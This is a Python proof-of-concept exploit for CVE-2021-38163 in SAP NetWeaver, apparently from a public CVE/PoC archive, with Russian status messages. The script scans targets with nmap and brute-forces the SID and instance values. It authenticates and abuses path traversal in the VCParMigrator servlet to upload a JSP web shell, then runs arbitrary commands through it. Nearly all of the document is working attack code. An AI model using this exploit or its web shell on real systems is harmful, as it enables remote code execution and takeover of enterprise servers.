4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2021-38163.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# CVE-2021-38163 / (c) [email protected]
#
# python -m pip install --upgrade urllib3
# pip uninstall requests
# pip install requests==2.21.0

import subprocess
import sys
import requests
import urllib3
import argparse
import nmap
import itertools


def get_user_agent():
    user_agent = {
        "User-agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0"
    }
    return user_agent


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", type=str, required=True)
    parser.add_argument("--user", type=str, help="<login>", required=True)
    parser.add_argument("--password", type=str, help="<password>", required=True)
    parser.add_argument("--command", type=str, default="whoami", help="execute command")
    parser.add_argument("--sid", type=str, default="nmap")
    parser.add_argument("--ins", type=str, default="brute")

    opts = parser.parse_args()

    target_url = opts.url
    command = opts.command
    login = opts.user
    password = opts.password
    sid = opts.sid
    ins = opts.ins
    host = opts.url.find("//") + 2
    nm = nmap.PortScanner()
    nm.scan(
        hosts=opts.url[host:],
        arguments="-Pn --open -T4 -sV -p50000,50001,50004,50013,50113",
    )
    scan_data = nm.csv().find("SAP NetWeaver Application Server")
    if scan_data > 1:
        print("[+] SAP NetWeaver Application Server")
    else:
        print("[-] SAP NetWeaver Application Server не обнаружен")
        sys.exit(0)

    if sid == "nmap":
        print("[*] Сканируем хост для определения SID")
        host = opts.url.find("//") + 2
        nm = nmap.PortScanner()
        nm.scan(
            hosts=opts.url[host:],
            arguments="-Pn --open -T4 -sV -p22,53,111,3201,3301,3901,8101,50000,50001,50004,50013,50113",
        )

        scan_data = nm.csv().find("SID ")
        if scan_data > 1:
            sid = nm.csv()[scan_data + 4 : scan_data + 7]
            print("[+] SID найден: {}".format(sid))
        else:
            print("[-] SID не обнаружен: укажите параметр --sid brute для перебора")
            return
    
    if ins == 'brute':
        print("[*] Подбираем значение INSTANCE")
        chars = "J0123"
        for n in range(3, 3 + 1):
            for perm in itertools.product(chars, repeat=n):
                ins = "".join(perm)
                if sid == 'brute':
                    # chars = 'SAPHNJUBERI0123456789' 
                    chars = 'S0' 
                    for n in range(3, 3 + 1):
                        for perm in itertools.product(chars, repeat=n):
                            sid = "".join(perm)
                            authorize(target_url, login, password, sid, ins, command)
                else:
                    authorize(target_url, login, password, sid, ins, command)

    return


def authorize(host, login, password, sid, res, cmd):
    target_url = host
    command = cmd

    proxies = dict(http="http://127.0.0.1:8080")
    session = requests.Session()
    session.headers.update(get_user_agent())

    upload_url = "{}:50000/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.VCParMigrator?parName=../../../../../../../../../../../../../../../../../../usr/sap/{}/{}/j2ee/cluster/apps/sap.com/rtmfcommunicator/servlet_jsp/rtmfCommunicator/root/html/urgent.jsp".format(
        target_url, sid, res
    )
    execute_url = "{}:50000/rtmfCommunicator/html/urgent.jsp?cve={}".format(
        target_url, command
    )

    response = session.get(
        upload_url, allow_redirects=True, verify=False, proxies=proxies
    )

    j_salt = "zR1OAEXuc9RrpfMoivkPDV5E+RM="
    if "j_salt" in response.text:
        se_salt = response.text.rfind("j_salt") + 15
        j_salt = response.text[se_salt : se_salt + 28]
        j_salt = j_salt.replace("/", "%2F")
        j_salt = j_salt.replace("+", "%2B")
        j_salt = j_salt.replace("=", "%3D")

    autorization = "login_submit=on&login_do_redirect=1&no_cert_storing=on&j_salt={}&j_username={}&j_password={}&uidPasswordLogon=Log+On".format(
        j_salt, login, password
    )

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "{}:50000".format(target_url),
        "DNT": "1",
    }
    response = session.post(
        upload_url,
        headers=headers,
        proxies=proxies,
        allow_redirects=True,
        data=autorization,
    )

    headers = {
        "Content-Type": "multipart/form-data; boundary=------------------------5294cc28a883d435"
    }

    upload_defender = (
        "--------------------------5294cc28a883d435\n\r"
        'Content-Disposition: form-data; name="file"\n\r'
        'PKMC<%@ page import="java.util.*,java.io.*"%>\n\r'
        '<% if (request.getParameter("cve") != null) {\n\r'
        'Process p = Runtime.getRuntime().exec(request.getParameter("cve"));\n\r'
        "OutputStream os = p.getOutputStream();\n\r"
        "InputStream in = p.getInputStream();\n\r"
        "DataInputStream dis = new DataInputStream(in);\n\r"
        "String disr = dis.readLine();\n\r"
        "while ( disr != null ) {\n\r"
        "out.println(disr);\n\r"
        "disr = dis.readLine();\n\r"
        "}}%>\n\r\n\r"
        "--------------------------5294cc28a883d435--"
    )

    response = session.post(
        upload_url,
        headers=headers,
        proxies=proxies,
        allow_redirects=True,
        data=upload_defender,
    )
    response = requests.get(execute_url)

    if response.status_code == 200:
        print("[+] INSTANCE найден: {}".format(res))
        print("[+] Выполнение команды {}\n{}".format(command, response.text))

        sys.exit(0)


if __name__ == "__main__":
    urllib3.disable_warnings()
    sys.exit(main())